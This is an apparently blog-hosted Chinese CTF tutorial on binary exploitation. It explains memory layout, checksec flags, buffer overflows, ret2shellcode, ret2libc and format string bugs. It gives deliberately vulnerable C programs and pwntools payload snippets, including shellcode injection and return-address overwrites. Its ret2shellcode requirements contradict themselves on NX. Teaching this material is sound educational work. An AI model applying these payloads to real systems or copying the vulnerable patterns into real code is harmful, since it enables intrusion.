Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

背景知识

地址空间(Address space,Prozess Adressraum)

地址空间可以被看作是一个巨大的 一维字节数组,在程序运行时(与它潜在的大小相比),其中只有少数位置存有数据。由于地址空间占用非常稀疏,操作系统会将其划分为大小相等的 页(Pages),其中只有被操作系统释放(映射)的页才可以被访问。

程序从硬盘被加载到低地址空间(对应的页由操作系统或程序加载器自动提供)。

用于执行的机器代码存放在 文本段(Text Segment) 中,静态初始化的变量和字符串常量存放在 数据段(Data Segment) 中。静态变量如果在程序开始时尚未被赋值,则会放在 BSS 段 中,并由操作系统填充为零字节。

程序所需的动态链接库也由这三类段组成,并由程序加载器加载到更高的内存地址。由于这些库所需的内存是通过 mmap 系统调用 向操作系统申请的,因此它们也被称为 MMap 段

在程序初始化过程中,还会额外保留两个区域:

  • 栈(Stack):用于自动管理的变量。
  • 堆(Heap):用于动态分配的变量。

栈在每次函数调用时会扩展一个 栈帧(Stack Frame)。在栈帧的内存区域中存储有当前函数的局部变量,以及一些管理信息,例如 返回地址。返回地址记录了当前执行的函数是从哪一个程序地址被调用的。随着函数调用深度的增加,栈会从高地址向低地址方向增长。

当需要在函数执行完毕后变量仍然存在时,就必须使用 来进行动态内存分配(因为栈上的变量会在函数返回时自动释放)。在这种情况下,程序可以通过 libc 提供的分配器 使用 malloc 函数向系统申请内存。如果可能,分配器会返回对程序启动时预留的堆区域的引用;如果堆空间不足,分配器会通过 mmap 系统调用 向操作系统请求一个新的 MMap 段,并返回对该段的引用。

C 标准库(libc)除了包含内存分配器之外,还提供了许多常用函数,以便简化与操作系统的交互。

在程序执行过程中,如果访问了一个无效的地址(即未映射的页),操作系统会向程序发送一个 段错误(Segmentation Fault) 信号。如果程序没有对此进行处理,就会导致程序终止。

image-20250818000141067

安全性检查

我们可以使用checksec命令检查一份二进制文件的安全性.

安装:

1
sudo apt install checksec

例子:

1
2
3
4
5
6
7
8
9
└─$ checksec ./vuln

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes
1
2
3
4
5
6
7
8
└─$ checksec ./racecar

Arch: i386-32-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
Stripped: No

解释:

  • Arch:二进制文件的架构
    • amd64-64-little: x86-64 架构的64位小端序ELF可执行文件;
    • i386-32-little:x86 架构的32位小端序ELF可执行文件
  • RELRORead-Only Relocations,表示重定位表只读,能防止通过修改 GOT(全局偏移表)来劫持控制流。
    • Partial RELRO:只部分保护;
    • Full RELRO:GOT 完全只读,更安全。
  • Stack:是否启用了栈金丝雀(Stack Canary)。
    • No canary found:没有保护,容易被栈溢出攻击;
    • Canary found:能检测栈溢出覆盖返回地址的行为。
  • NXNon-eXecutable stack/heap,表示数据段不可执行。
    • disabled:攻击者可以直接在栈/堆执行恶意代码;
    • enabled:栈和堆不能直接执行代码,阻止传统 shellcode 注入。
  • PIEPosition Independent Executable,是否支持地址随机化(ASLR)。
    • No PIE:程序总是加载在固定地址(如 0x400000),便于攻击者构造 ROP;
    • PIE enabled:主程序基址随机化,增加攻击难度。
  • Stripped:是否剥离了符号信息。
    • No:包含函数名、符号,方便调试和逆向分析;
    • Yes:已剥离,更难逆向,但对运行安全性影响不大。
  • Debuginfo:是否带有调试信息(DWARF 等)。
    • No:一般发布版本应去掉;
    • Yes:含源码级调试信息,方便开发调试,但可能泄露过多信息。

下面介绍一些基本的漏洞以及对应的攻击方法:

溢出(Buffer Overflow)

漏洞/常见危险函数

Buffer overflow(缓冲区溢出)漏洞 常见于不做边界检查边界检查错误的输入/拷贝函数;可覆盖栈/堆/静态区中的相邻数据(如返回地址、函数指针、对象元数据等)。

  • gets()

    • 没有任何输入长度限制/检查。
  • fgets(buf, size, stdin)

    • 如果size大于给buf的实际大小,则会溢出。

    • 1
      2
      char buf[32];
      fgets(buf, 128, stdin);
  • scanf("%s", buf)

    • %s 会不断读入字符直到遇到空白符(空格、回车、制表符等)。

    • 安全写法:

      1
      scanf("%15s", buf);  // 最多读 15 个字节 + 1 个 '\0'
  • read(0, buf, count)

    • 如果count大于给buf的实际大小,则会溢出。

    • 1
      2
      char buf[32];
      read(0, buf, 0x100);

栈溢出(Stack buffer overflow)

栈溢出指的是程序向栈中某个变量中写入的字节数超过了这个变量本身所申请的字节数,因而导致与其相邻的栈中的变量的值被改变。(https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/stackoverflow-basic/

结构体字段劫持

最简单的攻击目的便是修改写入变量附近的某个变量的值。比如说在下面这个例子里:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#include <stdio.h>
#include <string.h>
#include <stdlib.h>

struct user {
char name[64];
int is_admin;
};

void win() {
printf("You are admin!\n");
system("/bin/flag");
}

int main() {
struct user u;
memset(&u, 0, sizeof(u));

printf("Enter your name: ");
fgets(u.name, 200, stdin); // name只有64字节,fgets读200字节

if (u.is_admin == 1) {
win();
} else {
printf("Access denied.\n");
}

return 0;
}

我们写入的变量为user这个struct里的name,但是由于输入长度限制为200,而实际的name的存储空间仅为64,并且struct里的内容的存储空间是连续的,所以可以通过输入

1
2
3
'A'*64 + '\x01\x00\x00\x00'
# 也可以用
'A'*64 + p32(1)

将原本的is_admin的值修改为(被覆盖掉为)1。(注意大部分架构都是使用的小端序,并且int的大小为4个Byte,所以是\x01\x00\x00\x00

ROP(Return Oriented Programming)

ret2shellcode

ret2shellcodeReturn-to-Shellcode)指的是:
在利用栈溢出等漏洞时,将自己编写的shellcode注入到内存(常见是栈/堆/.bss)里,再通过覆盖返回地址或利用跳转 gadget(如 jmp *sp把控制流重定向到该 shellcode,从而直接执行任意指令。

这种Exploit一般需要:

1
2
3
4
NX:         NX enabled		#重中之重

Stack: No canary found
PIE: No PIE (0x400000)

最小化示例(x64,NX 关闭;利用 jmp rsp gadget;PIE 关闭):

1
2
3
4
5
6
7
8
9
10
11
12
from pwn import *

context.arch = "amd64"
shellcode = asm(shellcraft.sh()) # /bin/sh

# 找到 jmp rsi 指令地址
JMP_RSI = next(elf.search(asm('jmp rsi')))

payload = flat({
0: shellcode, # shellcode
256: JMP_RSI # 溢出 return address
})

当程序执行ret时,RIP被改成JMP_RSI,CPU开始执行jmp rsi。这条指令的含义是:跳到RSI指向的地址继续执行。此时RSI里还保留着刚才缓冲区的地址,所以会跳转到缓冲区的开头执行我们放在里面的shellcode。

ret2libc

ret2libcReturn-to-Library)指的是:
在存在栈溢出等漏洞、但无法直接执行注入的 shellcode(通常因为 DEP/NX 保护禁止在栈上执行代码)的情况下,攻击者将程序的控制流劫持到libc库中的现成函数,比如 system(),从而达到执行任意命令的目的。

这种Exploit一般需要:

1
2
Stack:      No canary found
PIE: No PIE

如果开启了PIE,则需要先泄露基址,再计算所需函数的实际地址。

例子(win()函数不需要参数):

1
2
3
4
5
win_address = 0x0000000000401172
# win函数地址0x401172
payload = b"A" * 76 # 填满Buffer
payload += b"B" * 8 # 覆盖保存的rbp(内容无关紧要)
payload += p64(win_address)

格式化字符串漏洞 Format String Vulnerability

详见:格式化字符串(Format String)漏洞介绍

正常情况
在进入 printf 函数之后,函数会首先获取第一个参数,一个一个读取其字符会遇到两种情况

  • 当前字符不是 %,直接输出到相应标准输出。
  • 当前字符是 %, 继续读取下一个字符
    • 如果没有字符,报错
    • 如果下一个字符是 %, 输出 %
    • 否则根据相应的字符,获取相应的参数,对其进行解析并输出

例子:

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>

int main() {
int a = 10;
float b = 3.14;
char *str = "hello";

printf("Int: %d, Float: %f, String: %s\n", a, b, str);
return 0;
}

栈的大概结构:

1
2
3
4
5
6
7
8
9
10
11
+----------------------+
| 返回地址(printf结束后跳转) |
+----------------------+
| 格式字符串地址 | --> "Int: %d, Float: %f, String: %s\n"
+----------------------+
| 参数3(str) | --> 指向 "hello"
+----------------------+
| 参数2(b) | --> float/double 值:3.14
+----------------------+
| 参数1(a) | --> 整数值:10
+----------------------+

函数会从栈里正常读取指定的变量的值。

而当我们在使用格式化字符串函数但是并没有给定具体变量的情况下:

1
2
3
4
5
6
#include <stdio.h>

int main() {
printf("Hello %x %x %x %x");
return 0;
}

则会从栈中依次读取未定义的值作为参数进行格式化输出。

在CTF的题目里这个漏洞一般的表现如下:

1
2
3
4
5
6
7
8
#include <stdio.h>

int main() {
char user_input[100];
gets(user_input);
printf(user_input); // 会将我们的输入直接当成格式字符串并处理
return 0;
}

我们可以利用这个漏洞读取栈上的内容(如变量值、返回地址等)或者通过 %n 格式符(就是我们之前提到的那个危险的格式符)向指定内存地址写入数据。

模板

可以利用Python的Pwntools库。

  • process用于本地测试,地址给二进制文件的地址;
  • remote用于连接服务器。
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

p = process('./vuln')

r = remote("Host",Port)

p.recvuntil(b'')

payload = b"A"*64 + b"B"*4 + p64()

p.sendline(payload)

p.interactive()

推荐刷题顺序

  1. Pwn相关基础知识:
    1. HTB Questionnaire Writeup
    2. HTB Lesson Writeup
  2. Buffer Overflow
    1. 修改目标变量的值
      1. 攻防世界 hello_pwn Writeup
    2. ROP
      1. ret2libc
        1. 攻防世界 level0 Writeup
        2. 攻防世界 level2 Writeup
        3. HTB You_know_0xDiablos Writeup
        4. TJCTF 2025 pwn/i-love-birds Writeup
        5. TUM Binary Exploitation qualification challenge (这题在利用Buffer Overflow漏洞修改返回地址的基础上多了一个需要绕过的检测。)
      2. ret2shellcode
        1. HTB Regularity Writeup
      3. 3
  3. 格式化字符串漏洞
    1. HTB racecar Writeup(利用格式化字符串漏洞读取信息。)
    2. 攻防世界 CGfsb Writeup (利用格式化字符串漏洞修改目标变量的值。)
  4. emmm